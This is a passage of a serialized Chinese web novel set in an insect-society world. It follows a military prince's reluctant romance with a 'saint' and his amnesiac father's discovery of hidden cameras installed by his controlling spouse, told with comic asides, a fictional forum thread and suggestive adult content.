弗雷德回到自己的位置上,先给萨迦去了一通电话,“只能查到第四军团。再往后,线索就断了……” “……直接自爆了,场面很难看,弄我一身血!” “……我不会用鲜血作画的,那属于行为艺术。我是古典派的。” “……好,您也注意安全。” 通话的时候,弗雷德捂住话筒,尽量压低声音。 因为在他对面,还有一个不属于军团内部的雄虫,正趴在办公桌上,睡得很香。 这场疑似虫皇感染引起的轩然大波,虽然伴随着隔离状态的解除,表面看已经平息。但后续仍然有很多工作要收尾。 这几天弗雷德一直盯在审讯这边,就是想从袭击哨所的虫嘴里,撬出点有用的信息。只可惜,他们知道的本就不多,拿到的这点证词,根本不足以呈到军事法庭上,用来掰倒任何一方势力。 弗雷德挂掉电话,然后看向趴在桌子上的雄虫莱纳德。这几天高强度连轴转,就连他这个高等级军雌都感到疲累,更别说一个雄虫了。 要不是因为他特殊的精神力技能,弗雷德本来不想让莱纳德插手的。 但不得不承认,能辨别谎言的“洞悉”,在审讯中的确非常好用。 莱纳德从小就皮肤白,又长了一张娃娃脸,明明比弗雷德年纪还要大几岁,看起来却还像个未成年。 弗雷德低头看了一会儿,嘴角不自觉挂上了笑。然后拿出纸笔,对着圣子的睡颜,轻轻勾勒了几笔。线条简短明快,但是意外传神。一个正在安详睡觉的可爱雄虫,就这样跃然纸上。 弗雷德已经很久没有画画了。说起来,他本来的梦想,是当个艺术家。 不过现在也很好。 那张纸被他放在一旁。恰好有虫开门进出,一阵寒风灌入,弗雷德下意识挡在雄虫身前。然后想了想,还是脱下了自己的军装外套,为他轻轻披上。 “唔……”但动作再轻,还是让莱纳德醒了。他揉了揉眼睛,问:“审出来了吗?” “没有,他自杀了。”弗雷德摇头,线索再次断了,不憋闷是不可能的,然后问:“这边的事情暂时结束了。你是不是该回去了?” 莱纳德闻言皱眉,“不是吧,用完就扔?” “小弗好狠的心啊!”雄虫捧着心口,做受伤状。 但弗雷德完全不吃这套,抬起脚踢了一下莱纳德屁股下的椅子,“少来这套!” “你身为圣子,跟第一军团交往过密,主教不会有意见吗?” 虫神教表面看似乎是中立的,但暗地里同样有自己的偏好和立场。 “有意见就有意见呗!腿长在我自己身上,我想去哪就去哪!”莱纳德一副死猪不怕开水烫的样子,“更何况,我是亲近第一军团吗?我只是亲近你而已。” 圣子的一只手扒在了军雌的腰带扣上。他很清楚这东西的结构,更知道如何轻巧的解开它。 然后立刻被弗雷德拍开了,“别在这里!” 莱纳德起身,贴在弗雷德耳边,“那去你房间?” 弗雷德瞥了他一眼,不甚赞同:“你不是困了吗?” “对啊!”说着,圣子打了个呵欠,“正好去你房间里,休息一下。” “小弗,你的床借我睡一下好不好?” “不好。”弗雷德没好气回绝。 莱纳德却突然嘿嘿笑了两声。 弗雷德眯眼:“你把洞悉用我身上?” “不行吗?” “我是雌虫,你是雄子。你不能睡我那里。” “为什么?我们之前不是都……唔!”被弗雷德捂住嘴了。 好半天才被松开,“好,我不说了。” “但你说过,这次我帮你审讯,你可以答应我一个条件。” 莱纳德说:“我的条件就是要睡你……” “的床。” 两个虫最终还是一起回了弗雷德的房间。即便是皇子,但是毕竟在军中。弗雷德的房间跟其他普通士兵没有太大区别,就连床也只是窄窄的单人床。 莱纳德在床上直挺挺躺好,但也不睡,只是一眨不眨地盯着旁边的弗雷德。 “你不是困了,要睡觉吗?”被看久了,弗雷德多少有些不自在。 “我确实很困。”莱纳德说着,躺在那里画了个十字,“但难得能见到你,我舍不得闭眼。” 弗雷德:…… 沉默许久,弗雷德说,“你知道我的基因,我不打算找雄主。” “我知道。”莱纳德说,“我也跟你说过,我不在乎。” “我觉得你没有想清楚……” “我想得够清楚了!”雄虫执拗道,“我就是喜欢你啊!我从小就喜欢你。” “而且小时候,我们还订过崽崽亲呢!” “那都多少年前的事了!而且,都是长辈们开玩笑,没有虫会当真的。” “小弗,”莱纳德终于冷了脸,“你再这么说,我要生气了。” 弗雷德叹了口气,他挨着莱纳德坐下,握住了他的一只手,“你不知道莫德神兵意味着什么。” “我知道!我见过!” “你只是见过,你并不知道。”弗雷德否认了雄虫的说法,“你身为雄虫,天然无法理解雌虫的感受。” “那我努力,我主动去了解,不行吗?!而且你的父皇,和你的雄父,他们不就可以吗?既然他们可以,我们为什么不行?” “先不要说我的雄父多么不同寻常。”弗雷德叹气,“你真以为他们之间没有任何问题吗?” “我不止一次听到他们争吵了。而且这几年,我甚至不怎么回家。即便这样,还是……”弗雷德没有把话说完,但意思已经非常明确了。 “看起来恩爱异常、亲密无间。那是因为他们是虫皇陛下和精神力院长,必须要给外界做出这样的表率。” “抱歉,我不知道。你之前……从来没有跟我说过这些。我一直以为他们的感情很稳固。”面对突如其来的讯息,圣子有些不知道说什么,他下意识道歉,然后问:“所以,你才从来不干涉他们之间的事情吗?包括最近的感染风波?” “我参与进去,只会让事情更复杂。更何况我也参与不进去。雌父他……在某些方面非常固执。” “所以,说回我们。”弗雷德话锋一转,“有了这些前车之鉴,我不可能让标记发生。但我同样需要信息素。” “那么,问题来了,你能接受有一天,我像萨迦叔叔那样,每隔一段时间换个雄虫吗?” 听了这话,莱纳德脸上的表情逐渐消失,最后变成了一种灰白的沉默。 “莱纳德,”弗雷德苦笑一声,“你应该知道我要说什么了” 他把手从雄虫掌心里抽出,无视了那本能一般的挽留。 “我躲着你,不见你,是为了你好。你可以拥有一个……”他顿了一下,“你值得拥有一个爱你的全身心属于你的伴侣。” “这话,我三年前说过一次。两年前说过第二次,一年前说过第三次……” “今天,是第四次了。” “我本以为,你是个聪明的雄虫。我不需要说这么多次。”弗雷德说。 莱纳德从床上坐起来,“我原本也以为,我不会追得这么艰辛。” “我以为感情就是两情相悦,一腔热血,勇往直前呢!”他笑了一声,但弗雷德没有跟着笑。于是这声笑就变得尴尬,又孤独。 “而且,你以前也是这么想的,不是吗?直到三年前,发生了那场事故。” 依旧,没有回应。 “我不是没有想过放弃,小弗。相信我,我不止一次对虫神诚挚祈祷,希望他能够允许我放下你,忘记你。” “但我最近意识到一件事情,那就是感情本来就是不理智的,是没办法控制的。” “不管是物理隔离还是心理按时,对我来说都没有任何作用,既然如此,那我投降。” “同样的话你还可以说更多遍,你说一遍我听一遍,因为我意识到,还能够听到你对我这说这些话……” “已经足够幸运了。” 弗雷德沉默地盯着面前的雄虫,好一会儿才说,“我不能判断你说的是不是真话,好不公平。” 莱纳德伸出三根手指指向天空,“圣子从不说谎。” 弗雷德:“你可能会后悔的。” 莱纳德:“那是以后的我需要操心的事情,我只需要专注现在。” “神说,现在才是真正的礼物。” “我仍然不赞同——”弗雷德说。 “但你同意了?”莱纳德接口道,雌虫的动摇十分明显。 “说句话啊?”莱纳德催促道,精神力化成触.手,攀上中将的肩头,“你说句话,我就能知晓真假。” “莱纳德,你简直是个笨蛋。”弗雷德摇头道。 “那皇子殿下,您喜欢——您爱笨蛋吗?” 弗雷德低笑一声,垂下眼睫,弯起的嘴角让他神情舒展开,显得温和又无害,几乎不像是一个严肃沉稳的中将了。 “我一定会后悔的。”弗雷德说,“后悔答应你——” 莱纳德捧住军雌的脸庞,轻柔的吻落在他的脸颊和下巴上,“那你,会后悔此刻吗?” “当然不。” 雌虫没有拒绝,圣子便愈发得寸进尺,变成了吮.吸和啃.咬。 “说起来,我前几天跟萨迦上将的雄虫聊了几句,他跟我说萨迦很喜欢把葡萄放进去,然后由他舔着吃掉。”莱纳德的视线明确地下移,“我觉得,我也可以。” “圣子的规训当中不是有一条禁止纵.欲吗?” “但没有说禁止爱虫。” “葡萄在第一军团驻扎区这种地方可是非常昂贵的水果。” “对,所以我买好了带过来……” 在这份亲昵当中,空气都逐渐变得灼.热粘.稠。 就在葡萄马上要进去的时候,弗雷德的手环突然响了。 他立刻一把推开了雄虫。然后就被对方的精神力缠住了手腕,“别管他。”莱纳德说。 但弗雷德坚持挣脱开,“不行,是雌父!” 莱纳德也立刻清醒,莫名有种被捉.奸在床的诡异羞耻和心虚,“陛下……突然找你做什么?” “是关于雄父的事情。” “西奥院长?他不是没事了吗?之前的感染据说是误诊。” “对,因为没有感染,所以之前的限制都取消了。但是现在……”弗雷德盯着手环,眉头拧紧,“雌父想恢复这些。” “还让我配合。” “那你想配合吗?”刚说了不能掺和他们的事情,怎么现在就出现了这种情况? “这也不是我想不想的问题。我根本没得选。”弗雷德叹气,“他不仅是我的雌父,也是虫皇陛下,我的顶头上司的上司。” “所以,这是命令,不是商量?”莱纳德抱着被子坐在床上,头发乱糟糟,一脸茫然的可爱,“可我记得你家以前,不是这种气氛啊?” 弗雷德看他一眼,“那是以前。如果哥哥还在……” 莱纳德自知说错了话,精神力扯成个小兔子轻轻蹭雌虫。弗雷德很快破功,推了一把:“别闹了……” “所以,陛下到底想干嘛?” “好问题。”弗雷德偏头啃一口可爱雄虫,“我又不是雌父肚子里的蛔虫。” 奥古斯特是不可能劝得动了。犹豫再三,弗雷德还是主动给西奥发去一条消息: 【老爹,在干嘛?】 作者有话说: 第23章 第23章离婚[VIP] 离开研究院之前, 西奥特地查了一下地址,定位到附近这个新开的星辉商场。大概只有一公里左右,便决定直接走过去。 商场有十几层, 面积相当大,饮食服饰、日用娱乐, 应有尽有。甚至还有专门的机械义肢和精神力专区。看得第一次逛虫族商场的西奥眼花缭乱。 大概是刚开业有活动, 虫还挺多, 颇有点摩肩接踵的意思。大多数仍然是雌虫, 少部分亚雌和雄虫, 很容易就能从身高和身材上分辨出来。甚至, 还有几个可爱的幼崽。 如果不是还有紧要事情, 西奥肯定会慢下脚步,挨个店逛过去,顺便看看周围神态各异的虫族。顺便, 如果可以,撸一下别虫的崽。 但最终, 他还是忍痛放弃,直奔手环商店, 迅速用现金完成了交易。 然后, 在众多看起来无比诱人的美食中, 精准选中了最难吃的红烧玛拉面。为什么,虫族的面条,吃起来会像是没有味道的鼻涕啊! 但是已经付了钱, 本着不浪费食物的原则,西奥还是含泪吃光了。 刚擦完嘴, 就收到了一条讯息,来自F:【老爹, 在干嘛?】 西奥第一反应是,这虫好没礼貌!怎么上来就叫老爹?又不是成龙历险记。 于是语气也不太好:【你谁啊?】 对面显示输入中好一会儿才回复:【弗雷德·兰斯顿。】 【你亲生的崽。】 【您老到底给我备注了啥?】 弗雷德?!西奥脑海中立刻浮现那个超可爱的小肉团子,嘴角不自觉带了笑,语气也立刻变了:【啊,抱歉抱歉,爹地失忆了。备注是F,不知道你是我家的小弗啊!】 【你不是在执行军部的秘密任务吗?现在可以联系了吗?】 对方回:【是雌父跟你说我在执行秘密任务吗?】 【诺亚说的。】 虫崽隔了好一会儿才回:【你听他瞎说,我就是懒得跟你们联系而已。】 西奥:嗯?! 怎么白白软软的小团子,突然变成魔丸了? 【崽崽你这样……好伤爹地的心啊……】 【雄父,我已经长大了,不是小虫崽了。】 但对于失忆的西奥来说,对方仍旧是视频里那个小小软软的幼崽。 “但我不记得了呀。小弗如果不介意,我们可以视频通话,看看崽崽现在的样子~”西奥发了一条语音过去。 “宿主……”系统艰难发问,“你刚才……声音是不是突然夹起来了?” “有吗?”西奥自己没注意。 “很有。不信你听一下那条语音!” 西奥听了一下,好像……还真是,有那么一点点。但说实话,他也不是故意的。实在是视频的印象太深刻了。一想到对面是如此萌物,哪怕好像有点叛逆,声音也不自觉就软了。 很快,对面也回了一条语音,听起来是年轻男性的声音,清亮悦耳,但,颇有些咬牙切齿:“雄父阁下,我现在已经二十八岁了,不是三岁!” “您稍微注意一下自己的语调吧!” “啊抱歉抱歉。我一定注意。”西奥特地清了清嗓子,“所以,是不方便视频吗?” 【嗯,不太方便。旁边有个雄虫。】 看到雄虫这两个字,西奥顿时皱紧眉头。自己的虫崽还那么小,怎么可以跟陌生雄虫在一起?! “雄虫?谁啊?叫什么名字?多大年纪?你们什么关系?军队里不应该雄虫很少吗?为什么你们会在一起啊?”一连串问题想都没想,脱口而出。 “宿主啊!你是不是问得太多、管得太宽了点!”系统都看不过去了。 对面没有回复了。 西奥象征性反思了一下,“抱歉,我不是想干涉你的生活,只是想稍微了解一下?毕竟你是个雌虫崽崽,还是要跟雄虫保持距离吧!” “小弗?你还在吗?” 【西奥院长你好,弗雷德说他跟您联系,主要是想问问您和虫皇陛下之间有没有出现什么矛盾。听说,你们吵架了?】 这句话瞬间将西奥拉回了现实。他跟奥古斯特吵架了吗?没有吧。只是发现了奥古斯特的欺骗和隐瞒而已。 马上要跟奥古斯特见面,说实话,西奥仍然没有想好要怎么说。 而弗雷德早不联系,晚不联系,偏偏这时候联系自己。这是……奥古斯特找来的帮手吗? 西奥问:【是奥古斯特让你来联系我的吗?】 对方回:【不是。雌父不让我联系你,是我自己擅自的决定。】 这倒是让西奥心里好受了一点。原来不是说客,是真的关心自己。 然后就看到对面问:【你们要离婚吗?】 离婚?!在看到弗雷德的消息之前,这两个字就从来没出现在西奥的脑子里。他想的……大概是是据理力争,让奥古斯特承认错误并认真道歉,保证不犯。然后逐渐建立新的信任。 离婚?哪有那么严重。 “离婚?那不行,离婚了还怎么杀死反派?”还没等他回复,系统率先表示了反驳,“枕边虫才是最不好防备的。” “宿主你说对不对啊?” 西奥翻了个白眼,刚想回复说没有那么严重。就看到对方说:【如果你们离婚了,我能拿两份压岁钱吗?】 等等?!这对吗? 为什么他没有从虫崽那里感受到对父亲的关爱,只有对金钱的渴望呢? 【我们不会离婚的!!!】西奥赶紧强调。 【哦,那我上一句是开玩笑的。】 传说中年轻有为、军功赫赫、沉稳可靠的弗雷德中将,就是这样的性格吗?!不会是有虫假冒伪劣吧! 【如果雌父问起,能不能说我没跟您联系过?】 西奥问:【你真的是弗雷德吗???】 【怎么,您还想验明正身?】 西奥也一时想不到该怎么验,毕竟对这个崽的了解太少了。犹豫半天问:【你小时候的梦想是什么?】 【……您真的是西奥·兰斯顿吗?】 很好,问题被反弹回来了。 【不过弗雷德小时候的梦想,应该是加入皇家护卫队。小时候可崇拜诺亚叔叔了。】 确实是跟视频对上了。不过,也算不上什么特别万无一失的验证。 【你放心吧,冒充弗雷德没有任何好处。而且也不是随便什么虫就可以冒充皇子。得不偿失。】 这倒是真的。 【如果你不打算离婚,是已经意识到并决定接受雌父是个控制狂的事实了吗?】 嗯?西奥第一次听到有虫说奥古斯特是个控制狂。以前全都是正面评价,头一次听到负面的。还是从虫崽这里。 不过,从他今天的发现来看,倒也没错。 不知为何,得到了虫崽的赞同,让西奥有点暗爽,像是在家里偷偷结了个盟友。 “确实是个控制狂!”系统也跟着搭腔赞同。 西奥问:【你为什么这么说你的雌父?】 【因为他一直就这个样子。他都能当虫皇,控制欲怎么可能不强。小时候因为他老在我卧室偷偷安监控,还看我日记,吵过好多次!】 西奥感觉自己简直遇到知音,原来受害者不止他一个! 【所以后来呢,怎么解决的?】西奥赶紧问。既然是历史遗留问题,那应该已经有了解决方案。 【后来您把他解决了。】 系统:“卧槽!” 【具体怎么解决的?】西奥有点不确定,追问道。 【应该是您找了段时间,给了他过量的信息素。具体怎么给的,我真的不知道,也不想知道!】 不是,这么简单粗暴、少儿不宜的解决方法吗? 【不过也不能全怪他。据我所知,雌父从小是被当作武器培养的,那时候的环境,失控,往往意味着死亡。】 奥古斯特的过往,西奥确实没有了解过。或许,这就是症结所在。 【所以我现在也不怪他。但是,有时候真的很烦!】 【是吧,真的很烦!】西奥深表赞同。 “等一下,宿主你为什么一边抱怨,一边在笑?!”系统惊叫,“你不会就这样原谅了吧?!这也能原谅吗?” “不要原谅啊,宿主!要恨!你要恨奥古斯特才可以!” 西奥回复系统:“要迂回,这不是你跟我说的吗?” 然后继续跟虫崽商量:【但是,除了信息素,就没有别的解决方法了吗?】他给过两夜,两夜都是雌君从从容容游刃有余,而自己勤勤恳恳气喘吁吁。如果要达到过量的程度,总感觉搞不好会危及自己的生命健康啊! 【你用精神力试试?一般都管用。】 【这个……还没想起来怎么用。】 【要不你们还是离婚吧!】崽说,【我跟你!】 【对了,您名下的财产现在是多少?】 【我名下没有资产,全部捐给福利院了,清零了!】西奥没好气地回。 【那我还是跟雌父吧。】 从没正形的虫崽这里,是套不出什么其他方法了。但弗雷德提供的这些信息倒是为接下来的会面和交谈提供了些思路。 如果,如果奥古斯特做的这些错事,是由于过去的经历留下某种后遗症呢? 西奥又追问:【所以,你身边的那个雄虫到底是谁?】 对方昵称变成了灰色,显示已经下线。 “弗雷德,这样很没礼貌!” 但崽选择已读不回。 西奥也拿他没办法。只能等下次见面,再好好进行批评教育。 顺便也记住了对方的手环账号,等将来,可以用备用手环加一下好友。 刚才一边走路一边聊天,磨磨蹭蹭,但因为距离很近,现在也已经快到研究院了。 刚进正门,就看到了一个熟悉的身影。 奥古斯特正穿着那身他熟悉的军装,身姿挺拔,站在门口不远处。 西奥看了一眼手环的时间,现在才不到七点,距离他们约好的八点,还有一个多小时。而且看奥古斯特的样子,应该是已经到了有一会儿了。 不会是刚打完电话就直接过来了吧? 西奥停在门口的同时,奥古斯特也看到了他。虫皇大步上前打招呼:“雄主。” “你是不是来得太早了?”西奥问。 “我希望你想回家的时候,可以随时回。” 这话乍一听好像没毛病,甚至十分体贴。但已经有了疑心的西奥还是听出了点别的意思:希望你早点回家,如果不回我就在这里等,让你不好意思不回。 真的会是这样吗? “我还有点事情要回办公室一趟,你等我一会儿可以吗?”西奥问。 “当然。”奥古斯特后退一步,让开道路。 依旧是最完美的雌君模样。而且这还是虫皇陛下,一个权力至高者,愿意等待,不得不说,是足以让西奥心动的。 但等他上到顶楼,回到自己的办公室,刚关上门,系统就开始尖叫: “宿主!你的办公室被安了监控了!” 作者有话说: 下一章晚十一点后更新哦~ 第24章 第24章鞭子[VIP] 按照系统的指引, 西奥很快在办公室内找到了三个正在运行中的摄像头。 办公桌的盆栽里一个,书柜旁边一个,还有一个饮水机旁边。根据系统的描述, 应该还有一个在头顶的烟雾报警器里。 只是离开了短短一个多小时,奥古斯特就在他的办公室做好了这一切。的确是行动迅速, 执行力很强的军雌、元帅、虫皇陛下。 西奥努力压住自己的怒火, 却还是感到不可遏制的愤怒。他都已经在为雌君找各种借口了, 他那么愿意相信他, 结果换来的却是变本加厉的控制。 理智上觉得可以原谅, 情感上却只想狠狠抽奥古斯特的屁.股! 后面那句是比喻。但真的很烦啊!!! 西奥将手指插进发间, 粗暴地揉了揉头发。 “杀了他!杀了他!”系统此时的呐喊, 更是火上浇油。 他已经忍了不了了!他要摊牌!!!就现在!马上! 但最终还是深吸一口气,强迫自己先冷静了下来。 在摊牌之前,他需要更多的底气和把握。 方才在寻找监控的时候, 西奥小心控制了自己的视线和表情,但还不是不确定到底有没有被发现。 但至少, 奥古斯特没有直接进来。这就代表,他有时间和先机。 既然皇宫是奥古斯特的地盘, 那么, 作为院长, 精神力研究院就该是他的主场。 西奥离开了办公室,但没有下楼。在走廊拐角处,找到了通往楼栋门卫处的有线电话。还是古老的设备最靠谱, 防监听。 很快电话接通,在西奥表明身份和来意之后, 门卫声音都提高了一个等级:“请稍等,我马上给您核实!” 过了一会儿, 门卫来汇报:“大概一个小时前,五点四十七分的时候,虫皇陛下带着几个虫进过您的办公室。相关片段要给您发过去吗?” “不用了。他们为什么能进我的办公室?” “您的办公室是指纹锁。陛下作为您的雌君,一直都是有权限的。” 也就是光明正大进去的。也是,正常夫夫互相拜访办公室,也没什么。如果不是他的雌君控制欲太强,到处装监控的话,西奥也不会介意。 “能取消奥古斯特的权限吗?并且以后除了我之外的虫开锁,都给我发一次提醒。” “当然可以。”门卫答,“已经取消了。” 这么快吗?其实西奥本来还有点担心,毕竟那是虫皇,怎么看都比他研究院院长的身份要高。还担心门卫会不敢取消。 “不过……” 西奥心里咯噔一下,果然,要来了!“不过什么?” “您跟虫皇是吵架了吗?” 西奥:…… 怎么没有预想中的质疑和推脱,只有八卦的热情? 而且,为什么一个门卫也这么八卦?“没有,没吵架。” “哦……”门卫意味深长哦了一声,又问,“那办公室外面走廊的监控,需要帮您关掉吗?” “为什么要关这个?” “之前您也取消过陛下的权限。然后,就在走廊上……那啥了。” “那啥?” “少儿不宜了。” 系统:“哦呼!” 西奥下意识:“啊???”不是,玩这么大吗?! “当然这些监控早就被皇家护卫队给删干净了。所以我就是问问,要不要提前关掉,这样你们想做什么都行,也不需要事后再来找我们。” “呃……”西奥大脑宕机,失去了语言功能。 “院长?” “随你吧……”他根本不知道自己说了什么。 “好的。对了,我叫克莱恩,是个雄虫。之前院长一直都记得我名字的。希望以后也能记得我。” “好。再见,克莱恩。”就冲他这个爆炸性的情报,西奥能记他一辈子。 确信了,门卫是自己这边的。只是非常八卦。 但他还是不明白,为什么自己要……他觉得自己没有那个爱好! 那,难道奥古斯特有那个爱好?喜欢被看着……? 然后突然灵光一现,所以,他才会在卧室里面安装摄像头?! 仔细回想,他找到摄像头的房间,也是那天晚上他们做过的房间。 但是又都坏了,说明做完之后,就销毁了? 那么,现在在自己的办公室安摄像头是想在办公室??? 所以,弗雷德给出的解决方案才会那么简单粗暴? 莫名其妙的,居然一切都说得通了。 但这对吗?身为虫皇,奥古斯特,你喜欢被别虫看着??? 西奥隐约扯到了一点线头,但是连着拽出来的东西,他有点不喜欢! 他不喜欢被看啊!!! 伴随着这通电话和随之而来的新情报,事情的走向越来越奇怪了。也彻底打乱了西奥的思路。 现在他面前摆着两个选项,控制欲,和暴.露.狂。 怎么说呢……对比之下,西奥居然有点想选第一个了。 西奥还不死心,他觉得,他觉得奥古斯特应该不是那种雌虫? 于是,便用自己的安全备用手环,开始了网上的搜索。想知道虫族社会的大家都怎么看待这种事。 为了方便,也为了不泄露自己雄虫的身份——因为雄虫实在太少了,备用手环的注册身份是匿名雌虫。搜索框输入雄主+摄像头+做,这些关键词,很快搜出来一堆结果。 点进最前面几条,西奥误入了一个似乎全是雌虫的论坛。大家在里面热火朝天讨论各种癖.好,用词相当直接露.骨。 他用词条搜到的那个帖子,是一个雌虫@悬悬悬发的提问贴:【想拍跟雄虫做的视频,但是他不乐意怎么办?我能偷偷装摄像头吗?】 你好,请问你是奥古斯特小号吗?! 西奥点开了下面的评论,想看看大家都怎么说。 @一个小兵:【多大点事。那你就偷偷安呗,别被发现了就行!】 @木马:【楼主有链接吗?求分享。可小偿。】 @曲径通幽:【楼主别听上面两个虫的。他们都是看热闹不嫌事大。拍摄这种事情,其实还要看雄虫的性格,以及你们感情好不好。如果感情好就可以拍,被发现了,大不了被抽一顿鞭子呗!爽死我了!】 西奥:啥玩意? @从前有一只潘德兽:【楼上偷偷藏不住了吧!还说给建议,一看就是来秀雄主的!有雄主了不起啊!{生气}】 @麻利麻利哄:【说到鞭子,你们看到阿斯木商城新上的那款马.鞭了吗?好漂亮啊!不知道打在身上什么感觉?】 西奥:怎么回事? 他立刻退出,再三确认这是个正经论坛,不是什么奇怪小网站。首页飘红的几个帖子,都是讨论怎么考军校、怎么选大学、怎么选择就业方向的。 但同时,也有一大推讨论雄虫、道具的帖子。混杂其中,各有各的热闹。输入马.鞭,能搜出来一长串。感觉鞭子之类的神奇道具在虫族这里,就好像人类社会的饰品一样常见且普通。 真是神奇的虫族世界啊!西奥只能感叹,尊重,祝福,并返回原帖继续看。 @兔子:【看了看了,确实好漂亮,视频里的展示也好棒!挥动的时候那个轻微的风声简直了,还有拍在皮肤上的质感,嘶……就是好贵呜呜呜,卑微底层打工虫买不起啊!】 @曲径通幽:【买得起有什么用?你有雄虫挥动鞭子吗?能体会到雄虫那种爱抚一样的力道吗?!】 @要了命了:【楼上别炫耀了,你的雄虫就是义务匹配来的好吗?就是邮寄信息素的关系,人家理过你吗?这是隔壁帖子{链接:求助,想要跟义务匹配的雄主发展进一步关系该怎么办?}】 @笑死:【笑死,原来曲径老哥说了半天,自己根本没有雄主啊!那炫耀啥呢?搞得跟真的似的!被戳穿了吧!】 @军雌就是军雌啊:【你们好奇怪,雌虫最重要的当然是事业啊!为了一个雄虫在这里讨论半天,有意思吗?不如多抽点时间复习考军校吧!最近皇家护卫队附属学院在特招了!】 @做一根木头:【楼上是封心锁爱只要卡拉汀试剂版本的雌虫吧!你不需要爱,别的雌虫会需要啊!雄虫那么少,就是很宝贵啊!】 @悬悬悬{楼主}:【统一回复一下,我是军雌,通过攒军功积分申请到了跟雄虫见面的机会,目前感情稳定。他也同意提供信息素。但毕竟在军团任职,聚少离多,所以才想拍摄一些视频,平时可以自己看。不提供链接。我跟雄虫提过一次,他很不高兴的样子,我就不敢再提了。】 @军雌就是军雌啊:【我靠!军雌大佬!拜一下!请保佑我考试顺利通过!】 底下一堆跟的。 @花花蝴蝶:【他要是明确说了不喜欢,那就不能拍吧……】 西奥立刻给这位花花蝴蝶点了个赞! @麻利麻利哄:【但雄虫知道个啥啊!他们知道咱们发.情期要是信息素不足会痛到要死吗?精神力研究院不是出过一个数据,说现在雌虫百分之九十九的正常生理需求都得不到满足。拍一下怎么啦?拍一下雄虫又不会少块肉!】 信息素不足原来会痛吗?西奥皱眉,没听奥古斯特提起过。 @吃一口:【就是,本来雄虫就少,卡拉汀试剂又贵的要死!谁还没经历过发.情期的潮.热痛啊?我朋友拼死拼活才匹配到一个雄虫,就为了怀个蛋,结果孕期里雄虫不给信息素,好不容易怀上的蛋就没了!】 @要了命了:【卧槽,虫蛋不是很难流掉吗?你朋友也太惨了!】 虽然奥古斯特的蛋应该没事,但看到这里的西奥,也忍不住感同身受心疼起这个被提到的雌虫。 @世界如此美好:【如果有想要崽但又没法自己生的,不如去申请公共虫蛋,现在还有很多虫蛋待领呢!】 @兮兮:【别听楼上的,现在很多虫蛋都是基因改造的遗留产品,孵出来的崽很可能有问题。尤其是那些武器化筛选过的,孵出来的崽都冷冰冰的,根本不理你。你们难道能接受自己的崽有缺陷或者残疾吗?】 原来虫族也有自己的领蛋活动?但好像有点问题。 @木马:【{马鞭优惠券满100减20 点击链接即刻跳转}】 @笑死:【笑死,木马老哥又来发福利了!】 看到这里,西奥已经有些累了。不仅累,他还有点麻。 于是快速往后翻了几页,终于又找到了楼主的回复。 @悬悬悬{楼主}:【这里统一回复,我最后还是拍了视频。第三次的时候被雄主发现了,他很生气,大吵一架。然后我提出他可以用鞭子,以及其他用具。他同意了,然后就消气了。现在我们达成协议,我拍我的,他抽他的,互相尊重,非常和谐。】 西奥:等一下,等一下,这对吗?!! @要了命了:【卧槽,楼主才是来秀雄主的吧!真有这样好的雄主吗?不会是编的吧!】 @悬悬悬{楼主}:【雄主拍的。{图片}】 图片是一个背部,肌肉饱满,遍布红.痕。 西奥只点开了一秒就迅速心虚地关掉了。脸有点烫。 这后面,是一排【跪.接雄主。】有图有文字有表情包。 所以,这真的就是虫族的普遍爱好和文化吗? 说起来,奥古斯特也曾经主动在自己面前下跪,那时候他以为就是正常的精神力训练,现在看来,难道说……? 然后西奥突然想到了什么,他打开自己的手环,在里面搜索这个论坛的链接,屏幕加载了半天,最后弹出来了一个:根据相关地区法律规定,该网站不予显示。 难道,奥古斯特给他手环加限制,是为了屏蔽这些少儿不宜的讨论?! 西奥本来站在走廊上看手环,看着看着就开始靠墙,最后干脆贴着墙蹲下了。他现在满脑子都是那个“我拍我的,他抽他的”,还有那张图片。有点恍惚,需要缓缓。 “宿主,宿主你怎么了?怎么蹲下了,还脸红心跳的?发烧了吗?” “小六子,”西奥喃喃道,“有没有可能,就是说,这一切,其实是奥古斯特的x.p呢?” 他是不是完全搞错方向了? 系统:“哈?” 奥古斯特来到顶层的时候,看到的就是这样一副场景。雄虫正可怜兮兮地蜷缩在墙根,脸颊染了悲伤的酡红,眼里似乎还有隐约水光。 他心中顿时被狠狠刺了一下。 虫皇在雄虫面前单膝下跪,试探着伸出手但又收回,刚要道歉,就听对方问:“奥古斯特,你是不是喜欢鞭.子?” 奥古斯特大脑空白了两秒,问:“您想起来了?” 西奥:卧槽!是真的!!! 作者有话说: 神奇的脑回路! 第25章 第25章啪[VIP] “在心理学当中, 有个理论叫做门控理论。这是一种疼痛转移,或者说疼痛替代的方法。” “比如,一个正在疼痛中的雌父, 会因为关注自己的虫崽,而暂时忘却疼痛。” “再比如, 有些经过严重心理创伤的虫, 会选择伤害自己的身.体, 将疼痛从心理转移到生理上。” 咨询师抬头, 看向对面的客户, 虫皇奥古斯特, 问道:“在过去的三年里, 你有过类似的行为吗?” 奥古斯特微微仰头,直视咨询师的视线和问题,半晌后否认:“没有。” 西奥曾经想象过, 地下的那个精神力治疗室究竟是什么样子。 或许会是像外科治疗室那样,墙边摆着一排排装满各种药物的柜子, 中间有病床和器械。毕竟,根据精神力学院脑外科的看法, 精神力与大脑与神经高度相关联。 关于精神力的本源, 虫族已经出现了非常多的理论学说。除了脑外神经说, 还有古老的木桶理论,如今兴盛的精神力能源说,还有武器本源说, 等等。目前来看,说也没办法说服谁。不过这种百花齐放的理论, 倒是说明目前精神力相关的研究正在蓬勃发展。 说明自己选了个朝阳行业啊! 所以,西奥也曾想过, 或许治疗室看起来会像个心理咨询室。后面有一排排的书柜,宽大的褐色木制办公桌,地面铺着柔软的圆形地毯,正中间是相对的、但又隔着一段距离的两张单人沙发。 又或者,是一个训练室?一个实验室? 直到现在,他终于跟奥古斯特一起,打开了这个房间的门。 顶灯打开,治疗室内顿时一片通明。房间内的一切细节都无所遁形。 “哇哦!”西奥说,“……哇哦!!!” 地板铺满黑色的瓷砖,显得冰冷而肃穆。中间有几条长长的皮质板凳,头顶有几个金属吊环,左侧角落有几个不同形状的金属架,右侧似乎有几个不同姿态的手术床。 但最令他震惊的,还是那一排又一排,整齐的、冰冷的、各式各样的,鞭.子。 或者是拍子?西奥分不清楚。 “选一个?”奥古斯特催促。 西奥上前,在眼花缭乱的选择中,挑选了一个看起来平平无奇的款式。 长度适中,粗细适中,顶端有一小块平的部分,看起来……应该不会太疼。 “这是一支马鞭,基础款。”奥古斯特介绍道,“还记得怎么用吗?” 怎么用?西奥握住那支鞭子,感受着柄上粗糙的纹路压进掌心,粗糙、坚硬、厚实。 